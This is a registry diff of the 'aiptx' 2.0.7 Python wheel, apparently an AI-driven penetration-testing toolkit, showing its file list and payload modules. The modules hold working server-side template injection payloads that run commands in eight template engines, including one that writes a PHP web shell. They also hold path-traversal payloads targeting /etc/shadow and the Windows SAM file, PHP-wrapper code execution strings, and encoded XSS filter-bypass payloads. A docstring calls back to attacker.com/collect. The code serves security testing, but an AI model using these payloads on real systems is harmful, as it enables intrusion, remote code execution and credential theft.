aiptx 2.0.7__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- aipt_v2/__init__.py +110 -0
- aipt_v2/__main__.py +24 -0
- aipt_v2/agents/AIPTxAgent/__init__.py +10 -0
- aipt_v2/agents/AIPTxAgent/aiptx_agent.py +211 -0
- aipt_v2/agents/__init__.py +46 -0
- aipt_v2/agents/base.py +520 -0
- aipt_v2/agents/exploit_agent.py +688 -0
- aipt_v2/agents/ptt.py +406 -0
- aipt_v2/agents/state.py +168 -0
- aipt_v2/app.py +957 -0
- aipt_v2/browser/__init__.py +31 -0
- aipt_v2/browser/automation.py +458 -0
- aipt_v2/browser/crawler.py +453 -0
- aipt_v2/cli.py +2933 -0
- aipt_v2/compliance/__init__.py +71 -0
- aipt_v2/compliance/compliance_report.py +449 -0
- aipt_v2/compliance/framework_mapper.py +424 -0
- aipt_v2/compliance/nist_mapping.py +345 -0
- aipt_v2/compliance/owasp_mapping.py +330 -0
- aipt_v2/compliance/pci_mapping.py +297 -0
- aipt_v2/config.py +341 -0
- aipt_v2/core/__init__.py +43 -0
- aipt_v2/core/agent.py +630 -0
- aipt_v2/core/llm.py +395 -0
- aipt_v2/core/memory.py +305 -0
- aipt_v2/core/ptt.py +329 -0
- aipt_v2/database/__init__.py +14 -0
- aipt_v2/database/models.py +232 -0
- aipt_v2/database/repository.py +384 -0
- aipt_v2/docker/__init__.py +23 -0
- aipt_v2/docker/builder.py +260 -0
- aipt_v2/docker/manager.py +222 -0
- aipt_v2/docker/sandbox.py +371 -0
- aipt_v2/evasion/__init__.py +58 -0
- aipt_v2/evasion/request_obfuscator.py +272 -0
- aipt_v2/evasion/tls_fingerprint.py +285 -0
- aipt_v2/evasion/ua_rotator.py +301 -0
- aipt_v2/evasion/waf_bypass.py +439 -0
- aipt_v2/execution/__init__.py +23 -0
- aipt_v2/execution/executor.py +302 -0
- aipt_v2/execution/parser.py +544 -0
- aipt_v2/execution/terminal.py +337 -0
- aipt_v2/health.py +437 -0
- aipt_v2/intelligence/__init__.py +194 -0
- aipt_v2/intelligence/adaptation.py +474 -0
- aipt_v2/intelligence/auth.py +520 -0
- aipt_v2/intelligence/chaining.py +775 -0
- aipt_v2/intelligence/correlation.py +536 -0
- aipt_v2/intelligence/cve_aipt.py +334 -0
- aipt_v2/intelligence/cve_info.py +1111 -0
- aipt_v2/intelligence/knowledge_graph.py +590 -0
- aipt_v2/intelligence/learning.py +626 -0
- aipt_v2/intelligence/llm_analyzer.py +502 -0
- aipt_v2/intelligence/llm_tool_selector.py +518 -0
- aipt_v2/intelligence/payload_generator.py +562 -0
- aipt_v2/intelligence/rag.py +239 -0
- aipt_v2/intelligence/scope.py +442 -0
- aipt_v2/intelligence/searchers/__init__.py +5 -0
- aipt_v2/intelligence/searchers/exploitdb_searcher.py +523 -0
- aipt_v2/intelligence/searchers/github_searcher.py +467 -0
- aipt_v2/intelligence/searchers/google_searcher.py +281 -0
- aipt_v2/intelligence/tools.json +443 -0
- aipt_v2/intelligence/triage.py +670 -0
- aipt_v2/interactive_shell.py +559 -0
- aipt_v2/interface/__init__.py +5 -0
- aipt_v2/interface/cli.py +230 -0
- aipt_v2/interface/main.py +501 -0
- aipt_v2/interface/tui.py +1276 -0
- aipt_v2/interface/utils.py +583 -0
- aipt_v2/llm/__init__.py +39 -0
- aipt_v2/llm/config.py +26 -0
- aipt_v2/llm/llm.py +514 -0
- aipt_v2/llm/memory.py +214 -0
- aipt_v2/llm/request_queue.py +89 -0
- aipt_v2/llm/utils.py +89 -0
- aipt_v2/local_tool_installer.py +1467 -0
- aipt_v2/models/__init__.py +15 -0
- aipt_v2/models/findings.py +295 -0
- aipt_v2/models/phase_result.py +224 -0
- aipt_v2/models/scan_config.py +207 -0
- aipt_v2/monitoring/grafana/dashboards/aipt-dashboard.json +355 -0
- aipt_v2/monitoring/grafana/dashboards/default.yml +17 -0
- aipt_v2/monitoring/grafana/datasources/prometheus.yml +17 -0
- aipt_v2/monitoring/prometheus.yml +60 -0
- aipt_v2/orchestration/__init__.py +52 -0
- aipt_v2/orchestration/pipeline.py +398 -0
- aipt_v2/orchestration/progress.py +300 -0
- aipt_v2/orchestration/scheduler.py +296 -0
- aipt_v2/orchestrator.py +2427 -0
- aipt_v2/payloads/__init__.py +27 -0
- aipt_v2/payloads/cmdi.py +150 -0
- aipt_v2/payloads/sqli.py +263 -0
- aipt_v2/payloads/ssrf.py +204 -0
- aipt_v2/payloads/templates.py +222 -0
- aipt_v2/payloads/traversal.py +166 -0
- aipt_v2/payloads/xss.py +204 -0
- aipt_v2/prompts/__init__.py +60 -0
- aipt_v2/proxy/__init__.py +29 -0
- aipt_v2/proxy/history.py +352 -0
- aipt_v2/proxy/interceptor.py +452 -0
- aipt_v2/recon/__init__.py +44 -0
- aipt_v2/recon/dns.py +241 -0
- aipt_v2/recon/osint.py +367 -0
- aipt_v2/recon/subdomain.py +372 -0
- aipt_v2/recon/tech_detect.py +311 -0
- aipt_v2/reports/__init__.py +17 -0
- aipt_v2/reports/generator.py +313 -0
- aipt_v2/reports/html_report.py +378 -0
- aipt_v2/runtime/__init__.py +53 -0
- aipt_v2/runtime/base.py +30 -0
- aipt_v2/runtime/docker.py +401 -0
- aipt_v2/runtime/local.py +346 -0
- aipt_v2/runtime/tool_server.py +205 -0
- aipt_v2/runtime/vps.py +830 -0
- aipt_v2/scanners/__init__.py +28 -0
- aipt_v2/scanners/base.py +273 -0
- aipt_v2/scanners/nikto.py +244 -0
- aipt_v2/scanners/nmap.py +402 -0
- aipt_v2/scanners/nuclei.py +273 -0
- aipt_v2/scanners/web.py +454 -0
- aipt_v2/scripts/security_audit.py +366 -0
- aipt_v2/setup_wizard.py +941 -0
- aipt_v2/skills/__init__.py +80 -0
- aipt_v2/skills/agents/__init__.py +14 -0
- aipt_v2/skills/agents/api_tester.py +706 -0
- aipt_v2/skills/agents/base.py +477 -0
- aipt_v2/skills/agents/code_review.py +459 -0
- aipt_v2/skills/agents/security_agent.py +336 -0
- aipt_v2/skills/agents/web_pentest.py +818 -0
- aipt_v2/skills/prompts/__init__.py +647 -0
- aipt_v2/system_detector.py +539 -0
- aipt_v2/telemetry/__init__.py +7 -0
- aipt_v2/telemetry/tracer.py +347 -0
- aipt_v2/terminal/__init__.py +28 -0
- aipt_v2/terminal/executor.py +400 -0
- aipt_v2/terminal/sandbox.py +350 -0
- aipt_v2/tools/__init__.py +44 -0
- aipt_v2/tools/active_directory/__init__.py +78 -0
- aipt_v2/tools/active_directory/ad_config.py +238 -0
- aipt_v2/tools/active_directory/bloodhound_wrapper.py +447 -0
- aipt_v2/tools/active_directory/kerberos_attacks.py +430 -0
- aipt_v2/tools/active_directory/ldap_enum.py +533 -0
- aipt_v2/tools/active_directory/smb_attacks.py +505 -0
- aipt_v2/tools/agents_graph/__init__.py +19 -0
- aipt_v2/tools/agents_graph/agents_graph_actions.py +69 -0
- aipt_v2/tools/api_security/__init__.py +76 -0
- aipt_v2/tools/api_security/api_discovery.py +608 -0
- aipt_v2/tools/api_security/graphql_scanner.py +622 -0
- aipt_v2/tools/api_security/jwt_analyzer.py +577 -0
- aipt_v2/tools/api_security/openapi_fuzzer.py +761 -0
- aipt_v2/tools/browser/__init__.py +5 -0
- aipt_v2/tools/browser/browser_actions.py +238 -0
- aipt_v2/tools/browser/browser_instance.py +535 -0
- aipt_v2/tools/browser/tab_manager.py +344 -0
- aipt_v2/tools/cloud/__init__.py +70 -0
- aipt_v2/tools/cloud/cloud_config.py +273 -0
- aipt_v2/tools/cloud/cloud_scanner.py +639 -0
- aipt_v2/tools/cloud/prowler_tool.py +571 -0
- aipt_v2/tools/cloud/scoutsuite_tool.py +359 -0
- aipt_v2/tools/executor.py +307 -0
- aipt_v2/tools/parser.py +408 -0
- aipt_v2/tools/proxy/__init__.py +5 -0
- aipt_v2/tools/proxy/proxy_actions.py +103 -0
- aipt_v2/tools/proxy/proxy_manager.py +789 -0
- aipt_v2/tools/registry.py +196 -0
- aipt_v2/tools/scanners/__init__.py +343 -0
- aipt_v2/tools/scanners/acunetix_tool.py +712 -0
- aipt_v2/tools/scanners/burp_tool.py +631 -0
- aipt_v2/tools/scanners/config.py +156 -0
- aipt_v2/tools/scanners/nessus_tool.py +588 -0
- aipt_v2/tools/scanners/zap_tool.py +612 -0
- aipt_v2/tools/terminal/__init__.py +5 -0
- aipt_v2/tools/terminal/terminal_actions.py +37 -0
- aipt_v2/tools/terminal/terminal_manager.py +153 -0
- aipt_v2/tools/terminal/terminal_session.py +449 -0
- aipt_v2/tools/tool_processing.py +108 -0
- aipt_v2/utils/__init__.py +17 -0
- aipt_v2/utils/logging.py +202 -0
- aipt_v2/utils/model_manager.py +187 -0
- aipt_v2/utils/searchers/__init__.py +269 -0
- aipt_v2/verify_install.py +793 -0
- aiptx-2.0.7.dist-info/METADATA +345 -0
- aiptx-2.0.7.dist-info/RECORD +187 -0
- aiptx-2.0.7.dist-info/WHEEL +5 -0
- aiptx-2.0.7.dist-info/entry_points.txt +7 -0
- aiptx-2.0.7.dist-info/licenses/LICENSE +21 -0
- aiptx-2.0.7.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,222 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT Template Injection Payloads
|
|
3
|
+
|
|
4
|
+
Server-Side Template Injection (SSTI) payloads for security testing.
|
|
5
|
+
"""
|
|
6
|
+
from __future__ import annotations
|
|
7
|
+
|
|
8
|
+
from typing import Iterator
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
class TemplateInjectionPayloads:
|
|
12
|
+
"""
|
|
13
|
+
Template injection payload generator.
|
|
14
|
+
|
|
15
|
+
Categories:
|
|
16
|
+
- Detection: Identify template engines
|
|
17
|
+
- Jinja2: Python/Flask
|
|
18
|
+
- Twig: PHP/Symfony
|
|
19
|
+
- Freemarker: Java
|
|
20
|
+
- Velocity: Java
|
|
21
|
+
- Thymeleaf: Java/Spring
|
|
22
|
+
|
|
23
|
+
Example:
|
|
24
|
+
ssti = TemplateInjectionPayloads()
|
|
25
|
+
for payload in ssti.detection():
|
|
26
|
+
if "49" in response(test(payload)):
|
|
27
|
+
print("SSTI detected!")
|
|
28
|
+
"""
|
|
29
|
+
|
|
30
|
+
@classmethod
|
|
31
|
+
def detection(cls) -> Iterator[str]:
|
|
32
|
+
"""Payloads to detect template injection"""
|
|
33
|
+
payloads = [
|
|
34
|
+
# Math operations (universal)
|
|
35
|
+
"${7*7}",
|
|
36
|
+
"{{7*7}}",
|
|
37
|
+
"#{7*7}",
|
|
38
|
+
"<%= 7*7 %>",
|
|
39
|
+
"${{7*7}}",
|
|
40
|
+
"{7*7}",
|
|
41
|
+
"*{7*7}",
|
|
42
|
+
|
|
43
|
+
# String operations
|
|
44
|
+
"${7*'7'}",
|
|
45
|
+
"{{7*'7'}}",
|
|
46
|
+
|
|
47
|
+
# Specific engines
|
|
48
|
+
"{{config}}", # Jinja2
|
|
49
|
+
"${class.getResource('').getPath()}", # Freemarker
|
|
50
|
+
"#{T(java.lang.System).getenv()}", # Thymeleaf
|
|
51
|
+
]
|
|
52
|
+
yield from payloads
|
|
53
|
+
|
|
54
|
+
@classmethod
|
|
55
|
+
def jinja2(cls) -> Iterator[str]:
|
|
56
|
+
"""Jinja2 (Python/Flask) payloads"""
|
|
57
|
+
payloads = [
|
|
58
|
+
# Basic detection
|
|
59
|
+
"{{7*7}}",
|
|
60
|
+
"{{config}}",
|
|
61
|
+
"{{config.items()}}",
|
|
62
|
+
"{{self}}",
|
|
63
|
+
|
|
64
|
+
# Information disclosure
|
|
65
|
+
"{{request}}",
|
|
66
|
+
"{{request.environ}}",
|
|
67
|
+
"{{request.application}}",
|
|
68
|
+
"{{g}}",
|
|
69
|
+
|
|
70
|
+
# RCE via object traversal
|
|
71
|
+
"{{''.__class__.__mro__[2].__subclasses__()}}",
|
|
72
|
+
"{{''.__class__.__bases__[0].__subclasses__()}}",
|
|
73
|
+
|
|
74
|
+
# RCE via os module
|
|
75
|
+
"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
|
|
76
|
+
|
|
77
|
+
# RCE via subprocess
|
|
78
|
+
"{{cycler.__init__.__globals__.os.popen('id').read()}}",
|
|
79
|
+
"{{joiner.__init__.__globals__.os.popen('id').read()}}",
|
|
80
|
+
|
|
81
|
+
# RCE via builtins
|
|
82
|
+
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
|
|
83
|
+
|
|
84
|
+
# Lipsum (Jinja2 specific)
|
|
85
|
+
"{{lipsum.__globals__.os.popen('id').read()}}",
|
|
86
|
+
"{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}",
|
|
87
|
+
]
|
|
88
|
+
yield from payloads
|
|
89
|
+
|
|
90
|
+
@classmethod
|
|
91
|
+
def twig(cls) -> Iterator[str]:
|
|
92
|
+
"""Twig (PHP) payloads"""
|
|
93
|
+
payloads = [
|
|
94
|
+
# Detection
|
|
95
|
+
"{{7*7}}",
|
|
96
|
+
"{{_self}}",
|
|
97
|
+
"{{_self.env}}",
|
|
98
|
+
"{{_context}}",
|
|
99
|
+
|
|
100
|
+
# RCE (Twig 1.x)
|
|
101
|
+
"{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}",
|
|
102
|
+
|
|
103
|
+
# RCE (Twig 2.x/3.x)
|
|
104
|
+
"{{['id']|filter('system')}}",
|
|
105
|
+
"{{['cat /etc/passwd']|filter('system')}}",
|
|
106
|
+
|
|
107
|
+
# File read
|
|
108
|
+
"{{'/etc/passwd'|file_excerpt(1,30)}}",
|
|
109
|
+
]
|
|
110
|
+
yield from payloads
|
|
111
|
+
|
|
112
|
+
@classmethod
|
|
113
|
+
def freemarker(cls) -> Iterator[str]:
|
|
114
|
+
"""Freemarker (Java) payloads"""
|
|
115
|
+
payloads = [
|
|
116
|
+
# Detection
|
|
117
|
+
"${7*7}",
|
|
118
|
+
"${3*3}",
|
|
119
|
+
|
|
120
|
+
# RCE
|
|
121
|
+
"<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}",
|
|
122
|
+
"<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()>${ob(\"java.lang.ProcessBuilder\",\"id\").start()}",
|
|
123
|
+
|
|
124
|
+
# File read
|
|
125
|
+
"${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path').toURL().openStream().readAllBytes()}",
|
|
126
|
+
]
|
|
127
|
+
yield from payloads
|
|
128
|
+
|
|
129
|
+
@classmethod
|
|
130
|
+
def velocity(cls) -> Iterator[str]:
|
|
131
|
+
"""Velocity (Java) payloads"""
|
|
132
|
+
payloads = [
|
|
133
|
+
# Detection
|
|
134
|
+
"#set($x=7*7)${x}",
|
|
135
|
+
|
|
136
|
+
# RCE
|
|
137
|
+
"#set($e=\"exp\")",
|
|
138
|
+
"#set($a=$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"id\"))",
|
|
139
|
+
"#set($input=$a.getInputStream())",
|
|
140
|
+
"#set($sc = $e.getClass().forName(\"java.util.Scanner\"))",
|
|
141
|
+
"#set($reader=$sc.getConstructor($input.getClass()).newInstance($input))",
|
|
142
|
+
"$reader.useDelimiter(\"\\\\A\").next()",
|
|
143
|
+
]
|
|
144
|
+
yield from payloads
|
|
145
|
+
|
|
146
|
+
@classmethod
|
|
147
|
+
def thymeleaf(cls) -> Iterator[str]:
|
|
148
|
+
"""Thymeleaf (Java/Spring) payloads"""
|
|
149
|
+
payloads = [
|
|
150
|
+
# Detection
|
|
151
|
+
"${7*7}",
|
|
152
|
+
"*{7*7}",
|
|
153
|
+
"#{7*7}",
|
|
154
|
+
|
|
155
|
+
# RCE via SpEL
|
|
156
|
+
"${T(java.lang.Runtime).getRuntime().exec('id')}",
|
|
157
|
+
"*{T(java.lang.Runtime).getRuntime().exec('calc')}",
|
|
158
|
+
|
|
159
|
+
# Environment access
|
|
160
|
+
"${T(java.lang.System).getenv()}",
|
|
161
|
+
"${#ctx.environment}",
|
|
162
|
+
]
|
|
163
|
+
yield from payloads
|
|
164
|
+
|
|
165
|
+
@classmethod
|
|
166
|
+
def smarty(cls) -> Iterator[str]:
|
|
167
|
+
"""Smarty (PHP) payloads"""
|
|
168
|
+
payloads = [
|
|
169
|
+
# Detection
|
|
170
|
+
"{$smarty.version}",
|
|
171
|
+
"{7*7}",
|
|
172
|
+
|
|
173
|
+
# RCE
|
|
174
|
+
"{php}echo `id`;{/php}",
|
|
175
|
+
"{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,\"<?php passthru($_GET['cmd']); ?>\",self::clearConfig())}",
|
|
176
|
+
|
|
177
|
+
# Smarty 3.x
|
|
178
|
+
"{system('id')}",
|
|
179
|
+
]
|
|
180
|
+
yield from payloads
|
|
181
|
+
|
|
182
|
+
@classmethod
|
|
183
|
+
def erb(cls) -> Iterator[str]:
|
|
184
|
+
"""ERB (Ruby) payloads"""
|
|
185
|
+
payloads = [
|
|
186
|
+
# Detection
|
|
187
|
+
"<%= 7*7 %>",
|
|
188
|
+
|
|
189
|
+
# RCE
|
|
190
|
+
"<%= system('id') %>",
|
|
191
|
+
"<%= `id` %>",
|
|
192
|
+
"<%= IO.popen('id').readlines() %>",
|
|
193
|
+
"<%= require 'open3'; Open3.capture3('id') %>",
|
|
194
|
+
|
|
195
|
+
# File read
|
|
196
|
+
"<%= File.read('/etc/passwd') %>",
|
|
197
|
+
]
|
|
198
|
+
yield from payloads
|
|
199
|
+
|
|
200
|
+
@classmethod
|
|
201
|
+
def pebble(cls) -> Iterator[str]:
|
|
202
|
+
"""Pebble (Java) payloads"""
|
|
203
|
+
payloads = [
|
|
204
|
+
# Detection
|
|
205
|
+
"{{7*7}}",
|
|
206
|
+
|
|
207
|
+
# RCE
|
|
208
|
+
"{% set cmd = 'id' %}{{ cmd.getClass().forName('java.lang.Runtime').getRuntime().exec(cmd) }}",
|
|
209
|
+
]
|
|
210
|
+
yield from payloads
|
|
211
|
+
|
|
212
|
+
@classmethod
|
|
213
|
+
def all(cls) -> Iterator[str]:
|
|
214
|
+
"""All template injection payloads"""
|
|
215
|
+
yield from cls.detection()
|
|
216
|
+
yield from cls.jinja2()
|
|
217
|
+
yield from cls.twig()
|
|
218
|
+
yield from cls.freemarker()
|
|
219
|
+
yield from cls.velocity()
|
|
220
|
+
yield from cls.thymeleaf()
|
|
221
|
+
yield from cls.smarty()
|
|
222
|
+
yield from cls.erb()
|
|
@@ -0,0 +1,166 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT Path Traversal Payloads
|
|
3
|
+
|
|
4
|
+
Directory traversal / LFI payloads for security testing.
|
|
5
|
+
"""
|
|
6
|
+
from __future__ import annotations
|
|
7
|
+
|
|
8
|
+
from typing import Iterator
|
|
9
|
+
from urllib.parse import quote
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
class PathTraversalPayloads:
|
|
13
|
+
"""
|
|
14
|
+
Path traversal payload generator.
|
|
15
|
+
|
|
16
|
+
Categories:
|
|
17
|
+
- Basic: ../../../etc/passwd
|
|
18
|
+
- Encoded: URL encoding, double encoding
|
|
19
|
+
- Filter bypass: Null bytes, wrappers
|
|
20
|
+
- Windows: ..\\..\\..\\windows\\win.ini
|
|
21
|
+
|
|
22
|
+
Example:
|
|
23
|
+
traversal = PathTraversalPayloads()
|
|
24
|
+
for payload in traversal.linux():
|
|
25
|
+
test(f"/read?file={payload}")
|
|
26
|
+
"""
|
|
27
|
+
|
|
28
|
+
# Common target files
|
|
29
|
+
LINUX_FILES = [
|
|
30
|
+
"/etc/passwd",
|
|
31
|
+
"/etc/shadow",
|
|
32
|
+
"/etc/hosts",
|
|
33
|
+
"/etc/hostname",
|
|
34
|
+
"/proc/self/environ",
|
|
35
|
+
"/proc/version",
|
|
36
|
+
"/var/log/apache2/access.log",
|
|
37
|
+
"/var/log/nginx/access.log",
|
|
38
|
+
]
|
|
39
|
+
|
|
40
|
+
WINDOWS_FILES = [
|
|
41
|
+
"C:\\Windows\\win.ini",
|
|
42
|
+
"C:\\Windows\\System32\\config\\SAM",
|
|
43
|
+
"C:\\Windows\\System32\\drivers\\etc\\hosts",
|
|
44
|
+
"C:\\boot.ini",
|
|
45
|
+
]
|
|
46
|
+
|
|
47
|
+
@classmethod
|
|
48
|
+
def linux(cls, depth: int = 10) -> Iterator[str]:
|
|
49
|
+
"""Linux path traversal payloads"""
|
|
50
|
+
traversal = "../" * depth
|
|
51
|
+
|
|
52
|
+
for file in cls.LINUX_FILES:
|
|
53
|
+
# Basic
|
|
54
|
+
yield f"{traversal}etc/passwd"
|
|
55
|
+
yield f"{traversal}{file.lstrip('/')}"
|
|
56
|
+
|
|
57
|
+
# With null byte (PHP < 5.3.4)
|
|
58
|
+
yield f"{traversal}etc/passwd%00"
|
|
59
|
+
yield f"{traversal}etc/passwd\x00"
|
|
60
|
+
|
|
61
|
+
# Absolute path
|
|
62
|
+
yield file
|
|
63
|
+
|
|
64
|
+
@classmethod
|
|
65
|
+
def windows(cls, depth: int = 10) -> Iterator[str]:
|
|
66
|
+
"""Windows path traversal payloads"""
|
|
67
|
+
traversal_forward = "../" * depth
|
|
68
|
+
traversal_back = "..\\" * depth
|
|
69
|
+
|
|
70
|
+
for file in cls.WINDOWS_FILES:
|
|
71
|
+
yield f"{traversal_forward}windows/win.ini"
|
|
72
|
+
yield f"{traversal_back}windows\\win.ini"
|
|
73
|
+
yield file
|
|
74
|
+
|
|
75
|
+
@classmethod
|
|
76
|
+
def encoded(cls) -> Iterator[str]:
|
|
77
|
+
"""Encoded path traversal payloads"""
|
|
78
|
+
payloads = [
|
|
79
|
+
# URL encoding
|
|
80
|
+
"%2e%2e%2f" * 5 + "etc/passwd",
|
|
81
|
+
"%2e%2e/" * 5 + "etc/passwd",
|
|
82
|
+
"..%2f" * 5 + "etc/passwd",
|
|
83
|
+
|
|
84
|
+
# Double URL encoding
|
|
85
|
+
"%252e%252e%252f" * 5 + "etc/passwd",
|
|
86
|
+
|
|
87
|
+
# UTF-8 encoding
|
|
88
|
+
"..%c0%af" * 5 + "etc/passwd",
|
|
89
|
+
"..%c1%9c" * 5 + "etc/passwd",
|
|
90
|
+
|
|
91
|
+
# 16-bit Unicode
|
|
92
|
+
"%u002e%u002e%u002f" * 5 + "etc/passwd",
|
|
93
|
+
|
|
94
|
+
# Overlong UTF-8
|
|
95
|
+
"..%c0%ae/" * 5 + "etc/passwd",
|
|
96
|
+
]
|
|
97
|
+
yield from payloads
|
|
98
|
+
|
|
99
|
+
@classmethod
|
|
100
|
+
def filter_bypass(cls) -> Iterator[str]:
|
|
101
|
+
"""Filter bypass techniques"""
|
|
102
|
+
payloads = [
|
|
103
|
+
# Double dots
|
|
104
|
+
"....//....//....//etc/passwd",
|
|
105
|
+
"..../..../..../etc/passwd",
|
|
106
|
+
|
|
107
|
+
# Mixed slashes
|
|
108
|
+
"..\\../..\\../etc/passwd",
|
|
109
|
+
"..//..//..//etc/passwd",
|
|
110
|
+
|
|
111
|
+
# With current directory
|
|
112
|
+
"./.././.././../etc/passwd",
|
|
113
|
+
".//..//./..//etc/passwd",
|
|
114
|
+
|
|
115
|
+
# Absolute with traversal
|
|
116
|
+
"/var/www/../../etc/passwd",
|
|
117
|
+
|
|
118
|
+
# Path truncation (old systems)
|
|
119
|
+
"../" * 100 + "etc/passwd",
|
|
120
|
+
|
|
121
|
+
# Windows UNC paths
|
|
122
|
+
"\\\\localhost\\c$\\windows\\win.ini",
|
|
123
|
+
"//localhost/c$/windows/win.ini",
|
|
124
|
+
]
|
|
125
|
+
yield from payloads
|
|
126
|
+
|
|
127
|
+
@classmethod
|
|
128
|
+
def php_wrappers(cls) -> Iterator[str]:
|
|
129
|
+
"""PHP wrapper payloads (LFI to RCE)"""
|
|
130
|
+
payloads = [
|
|
131
|
+
# php://filter for source code disclosure
|
|
132
|
+
"php://filter/convert.base64-encode/resource=index.php",
|
|
133
|
+
"php://filter/read=string.rot13/resource=index.php",
|
|
134
|
+
"php://filter/convert.iconv.utf-8.utf-16/resource=index.php",
|
|
135
|
+
|
|
136
|
+
# php://input (requires POST)
|
|
137
|
+
"php://input",
|
|
138
|
+
|
|
139
|
+
# data:// wrapper
|
|
140
|
+
"data://text/plain,<?php system('id');?>",
|
|
141
|
+
"data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==",
|
|
142
|
+
|
|
143
|
+
# expect:// wrapper
|
|
144
|
+
"expect://id",
|
|
145
|
+
|
|
146
|
+
# phar:// wrapper
|
|
147
|
+
"phar://uploads/avatar.jpg/test.php",
|
|
148
|
+
|
|
149
|
+
# zip:// wrapper
|
|
150
|
+
"zip://uploads/archive.zip#shell.php",
|
|
151
|
+
|
|
152
|
+
# Log poisoning
|
|
153
|
+
"/var/log/apache2/access.log",
|
|
154
|
+
"/var/log/apache2/error.log",
|
|
155
|
+
"/proc/self/fd/0",
|
|
156
|
+
]
|
|
157
|
+
yield from payloads
|
|
158
|
+
|
|
159
|
+
@classmethod
|
|
160
|
+
def all(cls) -> Iterator[str]:
|
|
161
|
+
"""All path traversal payloads"""
|
|
162
|
+
yield from cls.linux()
|
|
163
|
+
yield from cls.windows()
|
|
164
|
+
yield from cls.encoded()
|
|
165
|
+
yield from cls.filter_bypass()
|
|
166
|
+
yield from cls.php_wrappers()
|
aipt_v2/payloads/xss.py
ADDED
|
@@ -0,0 +1,204 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT XSS Payloads
|
|
3
|
+
|
|
4
|
+
Cross-Site Scripting payloads for security testing.
|
|
5
|
+
"""
|
|
6
|
+
from __future__ import annotations
|
|
7
|
+
|
|
8
|
+
import html
|
|
9
|
+
import random
|
|
10
|
+
import string
|
|
11
|
+
from typing import Iterator
|
|
12
|
+
from urllib.parse import quote
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
class XSSPayloads:
|
|
16
|
+
"""
|
|
17
|
+
XSS payload generator for security testing.
|
|
18
|
+
|
|
19
|
+
Categories:
|
|
20
|
+
- Basic: Simple alert/confirm payloads
|
|
21
|
+
- Event handlers: onclick, onerror, etc.
|
|
22
|
+
- Encoded: URL, HTML, Unicode encoding
|
|
23
|
+
- Filter bypass: WAF evasion techniques
|
|
24
|
+
- DOM-based: document.write, innerHTML
|
|
25
|
+
|
|
26
|
+
Example:
|
|
27
|
+
xss = XSSPayloads()
|
|
28
|
+
|
|
29
|
+
# Get all basic payloads
|
|
30
|
+
for payload in xss.basic():
|
|
31
|
+
test(payload)
|
|
32
|
+
|
|
33
|
+
# Get payloads with custom marker
|
|
34
|
+
for payload in xss.with_callback("https://attacker.com/collect"):
|
|
35
|
+
test(payload)
|
|
36
|
+
"""
|
|
37
|
+
|
|
38
|
+
# Unique marker for detection
|
|
39
|
+
_marker = "AIPT" + "".join(random.choices(string.ascii_lowercase, k=6))
|
|
40
|
+
|
|
41
|
+
@classmethod
|
|
42
|
+
def basic(cls) -> Iterator[str]:
|
|
43
|
+
"""Basic XSS payloads"""
|
|
44
|
+
payloads = [
|
|
45
|
+
f'<script>alert("{cls._marker}")</script>',
|
|
46
|
+
f'<script>alert(String.fromCharCode(65,73,80,84))</script>',
|
|
47
|
+
f'<img src=x onerror=alert("{cls._marker}")>',
|
|
48
|
+
f'<svg onload=alert("{cls._marker}")>',
|
|
49
|
+
f'<body onload=alert("{cls._marker}")>',
|
|
50
|
+
f'<input onfocus=alert("{cls._marker}") autofocus>',
|
|
51
|
+
f'<marquee onstart=alert("{cls._marker}")>',
|
|
52
|
+
f'<video><source onerror=alert("{cls._marker}")>',
|
|
53
|
+
f'<audio src=x onerror=alert("{cls._marker}")>',
|
|
54
|
+
f'<details open ontoggle=alert("{cls._marker}")>',
|
|
55
|
+
]
|
|
56
|
+
yield from payloads
|
|
57
|
+
|
|
58
|
+
@classmethod
|
|
59
|
+
def event_handlers(cls) -> Iterator[str]:
|
|
60
|
+
"""Event handler-based payloads"""
|
|
61
|
+
handlers = [
|
|
62
|
+
"onclick", "ondblclick", "onmousedown", "onmouseup", "onmouseover",
|
|
63
|
+
"onmousemove", "onmouseout", "onkeydown", "onkeypress", "onkeyup",
|
|
64
|
+
"onfocus", "onblur", "onchange", "onsubmit", "onreset", "onselect",
|
|
65
|
+
"onerror", "onload", "onunload", "onresize", "onscroll",
|
|
66
|
+
]
|
|
67
|
+
|
|
68
|
+
for handler in handlers:
|
|
69
|
+
yield f'<div {handler}=alert("{cls._marker}") style="width:100px;height:100px;background:red"></div>'
|
|
70
|
+
yield f'<input type="text" {handler}=alert("{cls._marker}")>'
|
|
71
|
+
|
|
72
|
+
@classmethod
|
|
73
|
+
def encoded(cls) -> Iterator[str]:
|
|
74
|
+
"""Encoded payloads to bypass filters"""
|
|
75
|
+
base = f'<script>alert("{cls._marker}")</script>'
|
|
76
|
+
|
|
77
|
+
# URL encoding
|
|
78
|
+
yield quote(base)
|
|
79
|
+
yield quote(base, safe="")
|
|
80
|
+
|
|
81
|
+
# HTML entity encoding
|
|
82
|
+
yield html.escape(base)
|
|
83
|
+
yield "".join(f"&#{ord(c)};" for c in base)
|
|
84
|
+
yield "".join(f"&#x{ord(c):x};" for c in base)
|
|
85
|
+
|
|
86
|
+
# Unicode encoding
|
|
87
|
+
yield base.encode("unicode_escape").decode()
|
|
88
|
+
|
|
89
|
+
# Mixed encoding
|
|
90
|
+
yield f'%3Cscript%3Ealert("{cls._marker}")%3C/script%3E'
|
|
91
|
+
yield f'<script>alert("{cls._marker}")</script>'
|
|
92
|
+
|
|
93
|
+
